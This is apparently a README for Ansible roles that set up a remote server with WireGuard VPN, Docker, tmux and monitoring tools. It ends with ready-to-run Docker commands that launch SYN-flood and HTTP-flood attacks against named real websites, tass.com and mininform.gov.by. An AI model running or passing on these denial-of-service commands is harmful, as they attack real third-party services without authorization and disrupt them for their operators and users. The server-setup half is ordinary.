- Tested on Ubuntu 20.04
- For now supported SSH keys only
- PRs are welcome
Sometimes we may need good internet channel, especially since Feb 24. There may be no good internet channel or no access to the VPN. Solution to it is to set up a server with tools. All you need is to create virtual server or rent physical server
This is a set ansible roles to install core tools on remote server
- Wireguard VPN, config will be fetched to local
- Docker
- tmux (with
screen
like rc, checkansible/roles/wireguard/files/.tmux.conf
)
- Monitor
- Geo distributed monitor
- ctop
docker run --rm -ti \ --name=ctop \ --volume /var/run/docker.sock:/var/run/docker.sock:ro \ quay.io/vektorlab/ctop:latest
pip
- python package manager. Install doc can be found here, note, I've not tested it.- Wireguard client, install doc can be found here
If you have pip
installed, than install via pip - reference
In short, run
python -m pip install --user ansible
cd ansible/
export a_user="root"
export a_ip="SERVER_IP"
ansible-playbook -i "${a_ip}," -u ${a_user} -b play.yaml
Ensure that you have exported variables from Run according to your hosting provider and run following
ssh ${a_user}@${a_ip}
Tool for SYN flood, ref
docker run --rm -it mack/battle-tools python3 -m siege_engine 300 tass.com
Tool for SYN flood, ref
docker run --rm -it mack/battle-tools syn-flood --port 443 --host tass.com
TBD
Tool for HTTP stress (we should use --http2
because fasthttp issue)
docker run --rm -it mack/battle-tools bombardier --http2 -c 200 -d 300s -l https://mininform.gov.by